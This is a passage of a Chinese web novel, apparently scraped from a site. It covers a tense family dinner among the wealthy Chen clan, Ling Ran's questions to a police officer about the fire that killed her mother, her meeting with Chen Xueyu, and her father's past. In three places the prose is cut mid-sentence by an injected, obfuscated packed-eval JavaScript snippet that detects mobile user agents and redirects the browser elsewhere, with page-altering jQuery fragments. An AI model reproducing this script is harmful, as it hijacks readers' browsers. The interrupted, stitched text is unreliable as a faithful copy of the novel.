真是恐怖,一个大男人还要这样,一吃饭就父慈子孝,雪樱直撇嘴,她想跟二哥对个眼儿,只有二哥最安静,陈雪榆确实安静,是家里话最少的,大约跟他十几岁便独自出去留学,一个人生活太久有关。
他很斯文很沉静地用餐,每个人说的话、语气、神态,他都看在眼里,这里的每个人,都是为陈双海来的,当然,他自己也是。他像个闷葫芦,等陈双海问他工作上的事才开口发出声音。
对面雪樱一直看着他,大人都当她小孩子,说话似乎不避讳,雪樱自认为已经能听懂许多事了,她全神贯注,听陈双海突然骂人:
“这群土鳖,他妈的是赶上好时候了,这么容易就发财了,还有什么不满足的?人心不足蛇吞象,当年老子跟……”他摸摸下巴,眼神一下到时睿身上,“跟你老爹但凡有这个运势,早闯出来了,你老爹比我能干一百倍,我们就是吃了当时政策的亏,嗐,不提了,”他力气依旧很大,转而伸手拍了拍陈雪榆的脸,好像还把他当十几岁的人,“这回干得漂亮,雪榆,你知道吗?你起小就没挨过打,因为你聪明,做什么事我都放心。”
语气非常亲密,让人觉得老父亲也非常爱他。
陈雪榆微笑着,察觉到脸上有飞来的唾液,很快风干掉。
他开始尝虾滑,真是鲜嫩弹牙,他也是很讲究吃的人,很挑剔。
陈雪林笑看他吃东西,等片刻,才跟陈双海汇报了最近公路招标的事情,这件事要成,得打通副市长那根线,副市长年近五十,雷厉风行的一个女人,她对陈雪林颇有好感,陈雪林是个情史丰富的男人,女人的一个眼神,一个语气,他便知道对方想要什么。
他当然也知道自己的魅力,太清楚了,自己长什么样,镜子会说话,别人的嘴也会说话,脸长成这样,不利用一下卖弄一下,简直对不起老天爷。
但他喜欢妖娆性感的女人,不要太年轻,也不要太老,最好充满肉/欲之美。他假装听不懂陈双海的暗示,又做出很顺从,因为陈双海人老了,心还不老,也不糊涂。
“哎呀,我想上卫生间了。”
陈雪樱人倒小,事也多,去卫生间必须妈妈推着,楚月华起身过来时,蹭到陈雪林,她对他微笑示意,香风环绕,陈雪林心动一刹,小妈是个女人味十足的女人,一颦一笑,举手投足,都是很标准的女人样子。
她一定很寂寞,没人会真正喜欢老人。她大约以为陈双海老了,一个人一旦老了,就会失去力量,控制力,对周遭的一切包括自己慢慢产生一种无奈。
陈雪林没这种错觉,所以这一刹过去,他还是那个样子,爱说笑,有点放浪形骸。他对上陈雪榆的眼睛,无谓一笑,余光扫过安静得像死了一样的时睿。
“投其所好,懂吗?她想要什么就给什么,你有为什么不给呢?你不给人家,人家怎么给你?你记住了,胆子要大,没什么好怕的,”陈双海眼睛炯炯看着大儿子,“你听进去没有?”
陈雪林直点头,漫不经心笑着:“听进去了,爸提点的对。”
这样大的桌子,这么多的人,只有陈雪扬一口饭一口肉,一个字也不说,时睿帮他擦嘴角,小声夸赞他是厉害宝宝,是好孩子。
这样的孩子,好就好在一辈子都只能当宝宝。
甚至让人有点羡慕呢,当个傻子,无论做什么都方便开脱。
陈雪扬吃着吃着,忽然丢开勺子,一溜烟跑开了,楚月华跟保姆立刻跟过去。
这样的场景,大家习以为常,无人责怪。
陈雪林忽然转脸对陈雪榆说:“来一根吗?”
陈雪林烟瘾很大,喝酒也很厉害,从不考虑身体问题,他非常健
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711304|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
康,也自信会像老父亲那样,一辈子吃喝玩乐,照样活很久。
“好,一起。”陈雪榆放下筷子,跟陈双海说一声出来了。
饭桌上一下冷冷清清。
陈双海看看时睿:“我这两个儿子都不如你,其实他们都不耐烦听我说话,只有你,你起小就是听话孩子。”
时睿笑着摇头:“雪林有烟瘾,您知道的,来,我陪您喝点儿。”
外头有热气,一下把人团团包裹住。
陈雪林顺着台阶往下走两步,点了烟,笑道:“那道松鼠桂鱼你没怎么吃,是不是觉得味道没从前好了?”
陈雪榆不爱闻烟味,他回答说:“不怎么饿,每样尝几口就饱了。”他拒绝了陈雪林递过来的烟,“只是想出来透透气,我不抽。”
陈雪林不勉强,笑了声:“真不如从前了,人上年纪味觉嗅觉都会退化,掌勺的时候,难免把握不准。”
陈雪榆笑问:“大哥怎么不在饭桌上点评?”
陈雪林意味深长看他,香烟随手一垂,落在身旁一丛玫瑰花上,烟头烧坏了花瓣,他浑然不觉,再入口,深深感叹:“有股花香。”
他掐掉一朵,把玩起来,“还没到时候,不是吗?雪榆,你不像陈家的人,跟时睿似的,你看你总是这么克制,饭桌上说话有板有眼的,我们都感觉不出你是高兴还是不高兴,还有还有,你到底有什么乐趣呢?”
陈雪林突然拿花扫了下他左脸,“你这么年轻,应该充满活力。”
陈雪榆的脸叫芳香掠了一瞬,他始终水波不兴:“大哥怎么知道我没有活力?”
陈雪林夹着烟,开始列举:“除了必要应酬,你还爱什么?你连女人都不爱,不要老这么看着我,雪榆,我其实很喜欢你,也许你不信。你可能会觉得,啊,大哥是我日后争家产的对手,旁人兴许也这么看咱们兄弟俩,但我还是要说,我蛮喜欢你的。”
陈雪榆内心毫无波澜,脸上却是客气的:“承蒙大哥厚爱,我对大哥是羡慕,羡慕大哥恣意享受人生,千金散尽还复来的态度,很潇洒。”
陈雪林一把搂过他,热辣辣的酒气扑到脸上,混合烟草的味道、玫瑰的香气,陈雪榆任由他做出这样亲昵的举止。
“找个女人,对胃口的女人,我保证,你立马就能体会到快活,只有女人才能让男人真正快活,你看你一个月来吃顿饭,平时忙里忙外,有意思吗?听大哥的话,大哥希望你高高兴兴的。”
陈雪榆笑笑:“我现在也没有不高兴,大哥,你喝多了。”
“没有!”陈雪林立马否认,“我喜欢你,雪榆,咱们是亲兄弟,我有时看着你们,包括雪扬,虽然他还小,我会有种希望我们兄弟姊妹都要快意的感觉,也许你们不信,但我希望你信,因为我知道你与众不同。话说回来,你再与众不同,也姓陈,对不对?你跟我还是有一样的地方,跟爸也有。”
陈雪榆转过脸,灯光一背,整张面孔,整个人都暗了:“大哥觉得咱们一样在哪儿?”
陈雪林哼哼直笑:“都聪明,都招女人喜欢,都……”他状若沉思,“都怀着一种热情,只不过你不表现出来,你敢说你不热衷于赚钱?不热衷享受?”
陈雪榆不否认:“热衷,钱自然是越多越好。”
“这就对了,咱们兄弟天生就要过好日子的,多好啊,”陈雪林直叹,烟圈弥漫到陈雪榆脸上来,“你知道我现在渴望什么吗?”
陈雪榆在烟雾中道:“大哥还缺什么?”
“缺一个让我疯狂的女人,雪榆,你真是太不了解我了,咱们不该这样,我最没法忍受白开水一样的日子,你看,大哥跟你掏心掏肺,你小子,”陈雪林眼睛突然雪亮,“心里想什么大家一无所知,你很危险。你跟时睿那老小子还不一样,他也就在爸跟前装一装,不过,也能理解,混口饭吃而已。他到底不姓陈,咱不说他了。”
陈雪榆依旧微笑着:“不如大哥猜猜,我都想些什么,大哥比我聪明不是吗?”
陈雪林像是认真了点:“我猜,你早腻了烦了。”
陈雪榆神色平静:“难道大哥不腻不烦?”
陈雪林往后瞧了两眼,烟一丢,习惯性捻来捻去:“饭虽然不错,老吃也会腻,不吃还不行,雪榆,我希望以后多联系,咱们兄弟聊聊天。”
他的生活相当丰富,陈雪林精力无穷,那样的人生态度真是不死不休,反正人要死很久,除却生,全是死。他本着要把钱花光,女人睡光,尽情挥霍脑力和体力,到时交给死亡的,只能是个什么都消耗殆尽的壳子,类似狡猾的蝉,金蝉脱壳。
陈雪榆是知晓他风格的,说道:“大哥的生活里,人来人往,何愁找不到人聊天。”
陈雪林手指直摇:“不一样,你跟生意伙伴跟那些当官的,能说心里话?女人更不行,女人只爱听甜蜜蜜的情话,要花你的钱,她们懂什么?算来算去,还能跟你说上两句正经话。时睿跟着你做事,他一个外人,跟你都比我这个亲兄弟热乎,不是吗?”
“大哥误会了,时睿哥跟谁都谈不上热乎。”
陈雪林突然哼一声,他是无视时睿的,时睿的存在,是陈双海需要一个义薄云天企业家的名声,等陈双海觉得不需要了,就会一脚踢开,不要脸,是他们老子最可贵的品质。
“哼,大哥二哥,你们背着大家在这说悄悄话!”雪樱嗓门很尖,她自己摇着轮椅出来一叫,这两人的交谈自然而然断掉了。
6.第 6 章
宁夏人的大盘鸡快要闭店,只等女儿放暑假,女人请令冉过来吃饭,说这些年也算邻居,冉冉你一回都没吃过呢。
令冉没推辞,等吃饭的时候看玲玲跟小孩儿玩儿。
招待所的牌子大白天就亮着,红彤彤的。
旁边是彩票店,里头走出个中年男人,面上无喜无悲,那便是什么也不曾发生,照旧。
副食店门口站着两个女中学生,穿的夏季校服,一边说,一边笑得很大声,满嘴脏话,等一个染了黄毛的男生骑电瓶车过来,两人挤上去,嘻嘻哈哈一阵,歪歪扭扭尖叫着骑走了。
好巧不巧,两人跟一个骑三轮顶面迎上,撞了一下,双方骂起来,十几岁的人是没怕头的,骂得极脏,骂完便跑,气得老头脱了鞋扔过去,没砸中,又一步一步过去自己捡起来,嘴里还在操他们的祖宗八代。
十里寨这样的学生很多,念书很差,大都是外来务工人员的子女,家里对他们念书不强求,不过是年龄在这儿,九年义务教育总要念完。至于他们自己,真是不爱念书,学又学不会,逃又逃不开,学校真他妈恶心。
这样的摩擦,天天都有,很少有人好脾气,懂得谦让,像一群什么动物聚在这里,喋喋蠢话不停。十里寨的原住民就等拆迁,一夜暴富,去做人上人,大家不知道人上人过着什么样的日子,但有钱了,自然高人一等,所以,说话也硬气起来,非常精神,不过跟租户还是要算清楚的,一点亏不能吃。
谁谁搬走时空调坏了,马桶坏了,这是一笔明账,不可耍赖,租户说不是我们弄坏的,本来就要坏,你们马上发财了,还计较这个?一双眼直瞪瞪难以置信的样子。
双方便又吵起来,人声嗡嗡,闹嚷嚷个不住。
明明公交车坐上个二十分钟,就能到市里最繁华的地方,高楼林立,灯火璀璨,可十里寨,仿佛就这么小,又这么挤。
令冉看人争执,看完了便又去看别的。
红梅理发店的女主人敲着碗出来,“咪咪”“咪咪”地唤,她穿着豹纹吊带裙,一眼瞧过去,白花花全是肉,她唤猫的声音很妩媚,跟谁说话都那样。
猫没来,倒有个男人过来,不说话,只是笑着摸了一把肉屁股,女人飞个眼风,打他一下,随即被紧腾腾抱住。
好了,猫也不喂了,两个身体肉贴着肉,掀开帘子进屋去,那帘子稀里哗啦一阵响,人都进去了,还在动,珠子闪闪的。
俗气的珠帘,俗气的女人、男人,那又怎么样呢?可他们活着,能笑,能说话,能做的事情很多很多。
连灰扑扑不起眼的打印店里,都坐着活的人。
令冉也是活着的人。
她吃完饭,往派出所去,她来找冯经纬。派出所大厅开着空调,一进来,凉阴阴裹住人,因为十里寨的火灾,所里人几乎都认识她,对她印象极深。
跟她说话也客气,不敷衍,她一来,人家问她要不要喝水,请她坐下。等见到冯经纬,冯经纬是高兴的,又好像不怎么高兴。
他是个守信用的年轻人,当真去找老杨。老杨爱喝酒,脾气爆,听冯经纬说清楚来意,压根不搭理。冯经纬说起令冉,令冉的母亲,老杨说,比这惨的见过吗?上头都要结案了,你操什么心?
冯经纬操心,他还是个正常的年轻人,有爱有憎。他磨了老杨几次,老杨一直数落他,像他这样轴的年轻人不多,但最终答应了。老杨是老狐狸,到那就找到了纰漏,一片废墟里有块地面完好,他刮下块烟尘,找人检验,这里头居然包含汽油成分。
但这火灾结案很快,不是人为,纯属城中村消防差,违建问题。老杨心里明白,劝小年轻不要再管这事,他管不起,他一个新入职没两年的毛头小子,淌什么浑水?回头自己淹死都不知道怎么死的。
“别犯浑,你家里我听说也就是普通人家,父母供你念书不容易,好好上你的班,该干嘛干嘛。”老杨语重心长,俨然长辈。
冯经纬当然听懂了。
他没法跟令冉明说,也说不清楚,因为老杨只能查到那一步。
“你学校报了吗?”冯经纬想要铺垫一下。
令冉托着纸杯:“下旬出分数再报学校。”
冯经纬笑笑,有些尴尬的样子:“想去哪儿念书啊?大城市吗?比如,北京上海那样的。”
令冉来不是谈这个的,她充满期待的眼神看过来:“我还没想好,上次拜托你的事……”
冯经纬在她跟前仿佛不会撒谎似的,神气僵硬:“令冉,我知道你心里难过,但你考上了大学,到时拿着拆迁款好好念书,离开这儿,你妈妈的事,别再追究了,不止十里寨,每年因为火灾酿造的惨剧都不少。”
令冉不作声,眼睛直望着他。
冯经纬受不了这种目光。
“你有不方便说的,是吗?”
“没,没有,我的意思是你应该往前看。”
“前面有什么?”
冯经纬哑然。
“好好念书,将来找份合适的工作,再结婚生子。”
“然后呢?”
冯经纬彻底说不出话了,这要怎么回答?不都这么过的?他现在就为“这么过”发愁呢,该相亲了,该买房了,靠他那点工资,用老杨的话说,光腚跑都赶不上房价涨的速度,他得靠父母,他也要认真工作。
“我知道,你一定有难处,才不能说什么,但我明白你的意思了,我不是要你怎么样的,只是想知道事情怎么回事。”令冉放下纸杯,“你放心,我也不会出去瞎说什么的,今天谢谢你。”
她想冯经纬不会再多说,人家也没这个必要,犯不着,她心里先是跳很快,这会儿又叫钳子夹住,无端想起邻居女人说的做人流,也是拿钳子吗?往里掏,简直苦痛到极点,惨绝人寰,无法想象。
“令冉,令冉!”冯经纬忒愣愣杵片刻,追出来在身后叫她,她转身,对他微微一笑,打空调房里出来,风沸沸地拂到脸上。
心里却寒森森的。
街上有人,有滚滚车流,她跟个死人似的,隔着白白的太阳光看活人气,这么寻常。
马路那头一家服装店像是新开业,门口放着高花篮,真好看,她等红绿灯的时候,一直看花篮。花篮里是鲜花,哎,毒日头要把它晒坏了。
红绿灯开始出秒数,她眼睛稍微一睒,看见了陈雪榆,真巧,总是见着这人。
他在跟一个中年男人说话。那人穿深色西裤,短袖里头隐约可见白背心,这是官员的标准穿搭,他的办公室里一定还有一张猪肝红桌子,上面堆满蓝色文件夹。
陈雪榆比这人高许多,脸上有种控制到恰到好处的表情,令冉盯着他,他们开始往这走了,她也走,直到两人非常近了,擦肩而过时,他像是察觉,两人几乎是同时回的头。
目光碰上,令冉眼也不眨,陈雪榆看出她有话,几乎要从那双眼里跑出来,却一个字不说,只是这么看着他。
她脚步放慢,陈雪榆那边却正常走的,以至于红灯亮起来,车子按喇叭,令冉说着对不起,有些失魂地快步走到对面。
陈雪榆还在跟那人交谈,他往后瞥,令冉站在对面看他了,站着不动。
她脸上热烘烘的,心里发颤,她赌他会过来找她,一定要过来。
没有,陈雪榆跟那人说着些什么,大步往路边车子走,拉开车门,坐进了驾驶位。
车子只是发动,却没走,车子是黑色的,车窗也是,像是人坐到了黑洞洞里。
令冉继续等,太阳光大,人却冷得清清醒醒,街上依旧叫日光照着,马路上虚虚幻幻的,她也说不清为什么等,觉得那是个希望似的。
大约十多分钟,两人从车里出来,那人拍了拍陈雪榆的手臂,意思留步,不必再送,拿着一个文件袋离开。
陈雪榆转身朝这边看过来,绿灯一亮,迈着两条长腿很和悦地走近,令冉娓娓露出笑,先开口了:“我刚看见了你,觉得应该跟你打声招呼,但你在忙,所以没打扰你。”
这很难用巧合来说了,一而再,再而三,她不知道为什么老碰到他,如果是缘分,未免太深。
陈雪榆笑道:“太客气了,我其实也看到了你,我还以为,你已经不记得我了,或者是在犹豫,要不要打个招呼。”他左右看看,示意她往凉阴处站,“这么热,是出来办事吗?”
令冉脸上笑意淡淡:“是,没办好,只能先回去。”
陈雪榆让她等一下,到几米外的商店买了两瓶水,一瓶常温,一瓶冰的。
“能喝哪个?”
令冉要了冰的,偏着头轻轻放在脸颊,眼睛却还在看他。
陈雪榆问道:“有事要说?”
令冉把冰水拿下来,水珠子印在脸上:“你有女朋友吗?”她像是也觉得自己唐突,垂下眼睫,好像是害羞,让人摸不准。
不知什么东西打陈雪榆眼皮上一闪,金灿灿的,极快地过去,黑黑的眼睛从上到下把她看了一看,攒眉笑道:
“我都不知道你叫什么,上来问这么私人的问题,不太好回答。”
成串的话里,语调还是客气的。
令冉一点没有被拒绝的尴尬,脸上是歉然的笑:
“我知道很冒昧,我也不知道现在该做点什么正确的事,显得很讨厌,你会觉得我这人讨厌吗?”
她穿着件旧的发了乌的裙子,看不出是淡绿,还是黯黄,总之是洗不干净的样子,但人并没有因为衣服减损了什么。
陈雪榆否认了:“不会,虽然我不是很清楚你的事,但看的出来,你情绪不太好,我送你回家?外面很热。”
令冉眼神楚楚,又要看着他了:“能坐你的车吗?”
“当然能。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720892|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“要是你有女朋友,就不能送我了,我担心。”
“担心?”
“担心别人把我当第三者,突然过来打我,我见过那样的场景,我没什么力气,打不过别人,平白无故惹这样的麻烦就不好了。”
陈雪榆神情依旧和悦,年轻的声音从嗓子里出来:
“我不会让别人打你的,也没有人来打你。”他突然一笑,“能听懂我在说什么吗?”
令冉点头,陈雪榆指了指绿灯:“先过去,车里凉快些。”
过马路的时候,有辆车子闯红灯,陈雪榆拉了她一把,车子打裙角擦过去。令冉耳朵辣辣地热起来,心跳也快,为这样一瞬的危险,很迷人的感觉,她看着绝不是喜欢刺激的人。
“谢谢你。”她垂下手,轻轻攥住刚才他碰触过的手腕。
陈雪榆说:“总有人不守规矩,多注意下。”
令冉问:“你是守规矩的人吗?”
“交通规则?”陈雪榆的声音里有种微笑感。
“不是,我说的是别的。”
“你看我像守规矩的,还是不像?”
两人说话有什么一丝半缕的东西粘连着,一点点缠上身来,像蛛网,看不见,却实打实呼到皮肤上了。
令冉心道,幸亏他是英俊说话不无趣的男人,否则,真是不知怎么进行下去。
“不知道,我不了解的人跟事都太多。”
陈雪榆依旧很绅士替她开门,发动车子:“你这么年轻,有的是时间慢慢了解。”
“也没有多想了解。”令冉道,“我觉得自己很老,没年轻过,好像都没当过小婴儿,一开始就是这样了。”
陈雪榆不着意侧目:“小时候过得不太称心?”
令冉笑一笑:“你连我的名字都没问过,应该对我小时候的事不感兴趣,没关系,你姑且一问,我随便说说。”
陈雪榆也笑:“我不容易被冒犯,但不想冒犯别人。”
令冉道:“你真有涵养,我叫令冉,命令的令,冉冉升起的冉。”
陈雪榆说:“你的姓很少见,是我认识第一个姓令的。”
“那你一定能记住我的名字。”令冉这样笃定说,却又问,“是吗?”
陈雪榆点头:“很难忘掉了,方便问你报考学校的事情吗?”
“我想留这儿,人家挤破头想来这儿,我也觉得还不错。”
“估分理想吗?”
“理想。”
“看来你念书很好,在哪所中学念的?”
“你想了解我这个人了吗?”令冉岔开话,她的眼睛晶莹着,没有羞涩,有种似笑非笑的神气。
陈雪榆反问:“你呢?想了解我这个人吗?”
令冉淡然道:“正在了解,你开这么好的车,虽然我不认识牌子,但好东西大家都能感觉出来,没见过也有知觉的,一定有很多人喜欢你的车。”
“你喜不喜欢?”
“喜欢。”
她一点拜金的样子都没有,心不在焉,没有脑子,也没有感情一样,陈雪榆没体会到她的喜欢。
“你刚才说,出来办事没办好,遇到难处了吗?”
“对,”令冉望着他的眼睛不动,“我有难处,不知道能跟谁说一说。”她天生带着一股柔弱姿态,不是软弱,卑微,她只是像风雨飘摇中的一朵美丽的花而已。
“愿意的话,可以跟我说一说。”
令冉轻轻一笑:“我不愿意,不想跟祥林嫂一样,也许涵养会让你好好安慰鼓励我一番,但我要的不是这个。”
陈雪榆注视起她:“要实际的帮助?”
“你有这样的东西吗?”令冉眼睛平静,里头却有一个心在跳。
陈雪榆头一回流露出点疏离冷淡的样子来,嘴角带上笑:“我不爱管闲事,也不愿意做亏本的生意。”
“我记得,你说过你不是一点亏都不能吃的人。”
“小事情当然可以忽略不计,大事的话,要另当别论。”
人是坦诚的,话也没什么问题。
令冉的失望哽在了喉咙里,人活着总是这个样子,处处失望,毫无希望,她有些麻木又很容易接受了陈雪榆的拒绝,对他微笑着,似乎并不觉得难堪:“人之常情,确实是这样的。”
她解开安全带,“我本来要到对面坐公交的,又走回来这一趟,也许是弄错了,再见。”
陈雪榆观察她神情,没有生气的意思,他道:“不是要赶你下车,送你一程是刚答应过的。”
令冉笑笑没说话,起身从车里出来,摆摆手,陈雪榆在车里多坐了几秒,也下了车,她已经往信号灯那里走。
他没跟上来,只是看着她顺斑马线走到对面去,看良久,她站在热风里长发被吹得乱起,裙子紧贴着身体,眼睛不知道往哪里看的,徒留一张白的脸。
7.第 7 章
十里寨的租客一直在陆陆续续的搬家,就像当初,陆陆续续地住进来,有聚便有散。
搬家总是麻烦的,住进来房子里兴许没什么,今天置办一点,明天置办一点,一个塑料袋子也不舍得扔,兴许哪天用到呢?其实,到最后也不见得用上,但人就要守着那点东西过活。
走的时候才懊恼:怎么这么多东西?!后悔。
来给人搬家的师傅,好大的年纪,白背心破碎到丝丝缕缕,肩膀上横七竖八烙着红痕,家具硌的,一对年轻情侣跟着,女的抱怨男的找贵了。
真是辛苦,争那点蝇头小利,怎么能不斤斤计较?谁都辛苦。令冉打货车旁边过去,听见老师傅吭哧吭哧的,他背个冰箱,比他长,比他宽,他像头什么动物。
谁又不像呢?
情侣要到哪里去?不清楚。
两人计划着几年买房子,要存钱,女的说,存钱可撵不上房价涨的速度呢。男的便说,怎么都能挣着钱,不信买不上房子。
小情侣不管说什么,脸上都有一种神采,有盼头的神采,反正怪高兴的,你一嘴,我一嘴,最后羡慕死了拆迁户们。
人都兴兴头头活着。
背冰箱的老师傅都活得特别有劲。
令冉轻手轻脚上楼来,五奶奶家门敞着,纱帘影影绰绰,隔去苍蝇。老人躺在藤椅里,摇着蒲扇,她也有种神采,没什么忧愁了,她身体好,又马上要发财,早跟几个女儿商量好怎么分配,家庭是和睦的,不像有的人家,又要吵,又要打,头破血流的,真不好看。
一碰到钱,尤其是很多很多的钱,真是很少有人能好看的。
五奶奶刚看了一场热闹,等令冉一来,就说给她听。
令冉垂着眼睛听,没什么看法,五奶奶一会儿叹一句,一会儿叹一句。
“父子、兄弟姊妹,做夫妻的,凭你啥关系,都能说翻脸就翻脸。”
“我这是没儿,要是有儿,话又不是这么说的了。”
老人说话似乎不需要你的回应,有个人坐那儿,她的话不是说给空气的便好,自然,说给空气也是习以为常的事情。
令冉不动听着,她特别白,脸上连个雀斑都不长,坐在那儿,就像干干净净的房子,真是一点灰星子都没有,五奶奶老眼昏花瞥着她,闺女随爹,她爹年轻时是响当当的美男子,那张脸皮,谁看了都爱。
五奶奶露出点怀疑:“你那两个叔伯真不回来?”
“不回来,很多年没见了。”
“姥姥家的姨舅呢?”
“也没音信,断的更早。”
“就怕到时钱一到,分房子的时候,人又都冒出来了,”五奶奶硬的手突然一攥她,“乖乖,你可长个心眼,你爸在就好了,还能查着不?”
这说的是令智礼失踪的事,他是诗人,他定位自己是个诗人。令冉听人提到他,总是远远的,白的脸漠然,像个冷的玉雕。令智礼这名字非常传统,充满美德,他占了哪样呢?
他有笔名,叫朔风,大约是希望像海子、北岛那样,有朝一日,名利双收,但不可自杀。他年轻的时候,读诗写诗是个时髦的事情,他认定自己有天赋,总觉得人生里应该发生点什么轰轰烈烈的事情,可一个四季又一个四季过去,什么都没发生,除了在报纸上发表过几篇豆腐块,那是他为数不多的灵魂震颤时刻,拿给妻子看,女儿看,四邻看,仿佛要名垂千古了。
令冉想起来,小时候确实崇拜过他的。爸爸看起来很有格调,他爱穿衬衫、西装,夏天出门要戴墨镜,他烫过卷发,半长不短,因为相貌相当好,那卷发便跟着洋气起来,桀骜不驯。
他总是显得忧郁、脆弱,富有感情,从而惹女人怜爱。一个常年累月耽溺幻想世界的男人,是显得有些特别,他最大程度上激发了肖梦琴的爱,她第一眼看到他,他的脆弱、忧郁,一下把她母性激发出来,这个男人需要帮助、拯救,是一见钟情。她爱他的样貌,修长的身材,一手好字,能写诗的脑子,与众不同的性格,她愿意为了爱情众叛亲离。
她的父母一眼看出令智礼的不靠谱,手不能提,肩不能扛,小白脸一个,写诗?笑死人了,那玩意儿能吃还是能喝?你一个大男人不好好找个班上,窝家里写诗,吃屎都赶不上热的。
但越阻止,这份爱反而越显得忠贞,不可夺其志。父母兄弟把她锁家里,她翻墙逃出来,怀着类似革命般的心情。
嫁给令智礼之前,他有其他追求者,他长那样一张脸,人家爱慕他,他早早意识到这是自己拥有的权利,并且会使用这样权利,这其中,肖梦琴最虔诚,最热情,最有和家庭决裂的勇气,既然一个男人最终需要一个伴侣,他选择了她,是对她的恩赐。
令智礼很快发现自己不适合婚姻,婚姻是琐碎的,嘈杂的,到处是动静,他只想写诗。
家庭所有重担落在肖梦琴身上,她为了省洗发水,剪去长头发,她要去附近厂里做工,要干农活,她一下从少女变成妇人,她的手不再细腻,眼睛也不再明亮。
诗人对着她,是写不出一个赞美字眼的,令智礼好失望,他觉得特别委屈,娶了这样一个女人,一个庸俗的、每天计较鸡毛蒜皮的女人,怎么她完全变了一个人呢?他记得,她原先是很耐看的,小脸,额头饱满,文雅端庄,非常有韵味。
他需要一个能给他灵感的女人,一个缪斯,不是一个乏味疲惫的妇女。她对他的爱却不减,他是她的梦想,她要这梦想永远辉煌,闪闪发光,一点尘埃不染。他自然要穿得漂亮,坐在那里,眼前只能是稿纸、钢笔。她简直不知道怎么奉献自己才好,全部奉献出去,仍觉亏欠,好像劳累一天,只消夜里抱住这样一个美好的□□,感受体温,听他说那些奇妙的句子,就十分圆满了。
直到令冉出生,这劳累陡然加倍。令智礼最开始非常排斥孩子,太吵了,她要哭,要人喂养,要人抱,小孩子是世界上最可憎的生物!她分去了肖梦琴的精力,孩子是他的敌人,他不再是肖梦琴唯一奉献的对象。
他更没法写出诗了,肖梦琴鼓励他,她从不怀疑他的才华,认定他只不过缺少机遇、伯乐。令智礼在家憋闷,到处都束缚他,到处都是噪音,他拿走肖梦琴所有的钱,去了北京,去采风,参加诗会,找灵感。
令冉没了奶粉吃,病猫子一样叫唤,肖梦琴第一次歇斯底里坐孩子旁边哭,哭完,她又是那种文气包容的女人模样,给人印象绝不会差。她对孩子有耐心,也细心,令冉从小长得雪白漂亮,她看着孩子,枯萎下去的日子,便重新得了雨水,又把叶子、茎干长出来。
一年后,令智礼回来,他看起来有些憔悴、落魄,这一年到底做了什么,他也没说,好像没发生过。钱是花光了,人不得不回来,诗呢?灵感这玩意儿可遇不可求。
他这一回来,发现女儿突然变成一种活的、热乎的生物,特别明媚,眼睛一眨一眨,小腿一踢一踢,充满生命力,他一下就预感到这孩子肯定聪明,也因如此,他愿意抱一抱她,亲亲她,喊她小宝贝儿。
被关注、被爱护,是一种感觉,令冉记得两岁时的感觉,具体的事情,却是模糊的。
到了四五岁的时候,她已经知道,这感觉是虚幻的。令智礼爱喝酒,喝酒总得有点下酒菜,再不济,也得弄一碟花生米,花生米永远被锁在一个旧不锈钢柜子里,除了他,谁也别想吃一粒。
肖梦琴告诉她,爸爸喝了酒吃了花生米才好找灵感。灵感这样的词,整个十里寨,只会出现在她家里,这玩意儿,比钱还难挣,看不见,摸不着。
花生米儿仿佛是天下第一好吃的东西,很长一段时间里,令冉都想吃花生米儿。现在呢,真是一粒也吃不下。
令智礼还爱上了别的女人,坠入爱河,如痴如狂,诗人的感情就是这样丰富热烈呐。
左右邻居都知道,他这样的美男子去搞女人,仿佛天经地义。一边搞女人,一边写诗,简直是文思如泉涌。诗写的怎么样?那就没人知道了。
没有比肖梦琴更好的妻子,她奉献,知冷热,尽全力给他支持和陪伴,他还能爱上别人,真是恬不知耻。但爱情太迷人了,陌生的身体,全新的激情,心动,这具躯壳也要动,这是诗人天性里要追逐的,也应该追逐的,他不能变成一滩死水。
令智礼在客观层面分析了这个事,没有要谴责自己的意思。他尊重天性,尊重这种自然之道,道德是虚伪的,他不要。
热风打细细的绿纱窗筛进来,那上头,有竹子,有熊猫,常见的一种样式,许多年前就有,令冉家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734418|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里也有,绿影外头肖梦琴在院子里给人洗内裤,那女人的内裤,怎么洗下去的呢?这屈辱那样深,还是洗了。
令冉一个激灵,楼下有人骂起来了,五奶奶颤巍巍去看,是谁的电驴车筐里的抹布被人顺走了。这是真的,什么都能丢,别说充电器、雨衣,你放个袋子也有人偷。
五奶奶想起她的草帽忘记拿了,令冉便说她下楼。
楼下停着老人的三轮车,一对姐弟正顺着墙根阴凉处走,令冉认得,做姐姐的十五六岁,弟弟要小一点,这姐弟家里住十里寨附近的垃圾场,拾荒为生,不是本地人。
“冉冉姐。”女孩子喊她一声。
令冉问:“怎么没上学?”
